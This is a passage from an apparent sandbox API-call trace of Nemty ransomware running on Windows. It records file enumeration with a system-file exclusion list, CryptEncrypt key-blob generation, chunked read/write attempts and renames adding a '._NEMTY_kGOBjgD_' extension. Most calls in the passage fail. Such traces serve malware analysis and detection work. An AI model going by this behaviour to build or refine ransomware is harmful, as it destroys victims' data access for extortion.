(hObject=0xffffffff) returned 0 [0061.711] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340270 [0061.711] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0061.711] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0061.711] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0061.711] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0061.711] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0061.711] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0061.712] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403e0 [0061.712] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0061.712] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0061.712] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationup_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationUp_ButtonGraphic.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationup_buttongraphic.png._nemty_kgobjgd_")) returned 0 [0061.712] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0061.712] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0061.712] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0061.712] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0061.712] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0061.712] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0061.712] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0061.712] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94338 | out: hHeap=0x4f90000) returned 1 [0061.712] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0061.712] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0061.712] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fe8ad00, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fe8ad00, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0061.712] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2=".") returned 1 [0061.712] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="..") returned 1 [0061.712] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="...") returned 1 [0061.712] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="windows") returned -1 [0061.712] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="$RECYCLE.BIN") returned 1 [0061.712] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="rsa") returned -1 [0061.712] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="NTDETECT.COM") returned -1 [0061.712] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="ntldr") returned -1 [0061.712] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="MSDOS.SYS") returned 1 [0061.712] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="IO.SYS") returned 1 [0061.712] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="boot.ini") returned 1 [0061.712] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="boot.ini") returned 1 [0061.712] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="AUTOEXEC.BAT") returned 1 [0061.712] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="ntuser.dat") returned -1 [0061.712] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="desktop.ini") returned 1 [0061.713] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="CONFIG.SYS") returned 1 [0061.713] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="RECYCLER") returned -1 [0061.713] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="BOOTSECT.BAK") returned 1 [0061.713] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="bootmgr") returned 1 [0061.713] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="programdata") returned -1 [0061.713] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="appdata") returned 1 [0061.713] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0061.713] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_SelectionSubpicture.png", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0061.713] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0061.713] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_SelectionSubpicture.png", cchWideChar=36, lpMultiByteStr=0x6345608, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationUp_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 36 [0061.713] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0061.713] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f94338 [0061.713] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_SelectionSubpicture.png", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0061.713] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0061.713] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_SelectionSubpicture.png", cchWideChar=36, lpMultiByteStr=0x6345608, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationUp_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 36 [0061.713] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0061.713] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94338 | out: hHeap=0x4f90000) returned 1 [0061.713] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0061.713] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0061.713] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_SelectionSubpicture.png", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0061.713] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0061.713] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_SelectionSubpicture.png", cchWideChar=36, lpMultiByteStr=0x6345608, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationUp_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 36 [0061.713] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0061.713] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0061.713] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_SelectionSubpicture.png", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0061.713] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0061.713] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_SelectionSubpicture.png", cchWideChar=36, lpMultiByteStr=0x6345640, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationUp_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 36 [0061.713] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0061.713] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x4f94338 [0061.713] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0061.713] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340048 [0061.713] Sleep (dwMilliseconds=0x5) [0061.727] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd8706590, dwHighDateTime=0x1d561e7)) [0061.727] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd8706590, dwHighDateTime=0x1d561e7)) [0061.727] GetLastError () returned 0x5 [0061.727] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0061.727] GetLastError () returned 0x5 [0061.727] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0061.727] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0061.727] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0061.727] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0061.727] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0061.727] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0061.727] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340110 [0061.727] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340110, pcchString=0x653e91c | out: pszString="JUGazbccW2In3wUmZw8k4wv6ByEHY+KKYQi49KCZcXVrLS5sPosKuOvekoiU4h91\r\nsSBFiy/zKank9QXq2hI2IyrSfr4wXk9haB6mo2L1zNrpTvh30KaQ3AvQD4uIZIAc\r\n6udfWdJsw4g3dZoaX2KblW+9DPndtJiM99r2fu8kbT3QEdoL8zr1wmrAZQw8jnX9\r\nfI/GHA8ZpMdDMYx94DzQA0QLrIjhj1P/FH7cSfqyYOClJ6TLWlb8N0B7XCpg4uk6\r\ncc/8+af9qxDGi6CIq8+N5dhJR/81uSd0YyMZ6BjUgXzwT4pUO+QDaCqq25iPp35+\r\ntb72dJMSv0m8hgt2IkQunw==\r\n", pcchString=0x653e91c) returned 1 [0061.728] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0061.728] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0061.728] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0061.728] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0061.728] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340110 [0061.728] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0061.728] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0061.728] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0061.729] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0061.729] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.729] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0061.738] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.738] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0061.738] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.738] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0061.748] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.748] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0061.748] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.748] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0061.757] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.757] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0061.757] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.757] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0061.779] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.779] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0061.779] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.779] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0061.789] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.789] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0061.789] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.789] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0061.798] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.798] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0061.798] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.798] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0061.808] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.808] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0061.808] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.808] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0061.817] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.817] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0061.817] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.817] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0061.828] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.829] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0061.829] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.829] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0061.838] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.838] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0061.838] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.838] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0061.844] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.844] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0061.844] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.844] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0061.850] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.850] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0061.850] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.850] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340110, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0061.851] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0061.851] CloseHandle (hObject=0xffffffff) returned 0 [0061.851] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340280 [0061.851] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0061.851] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0061.851] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0061.851] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0061.851] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0061.851] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340348 [0061.851] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6340410 [0061.851] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340348 | out: hHeap=0x4f90000) returned 1 [0061.851] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0061.851] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationup_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationUp_SelectionSubpicture.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationup_selectionsubpicture.png._nemty_kgobjgd_")) returned 0 [0061.851] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340410 | out: hHeap=0x4f90000) returned 1 [0061.851] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340280 | out: 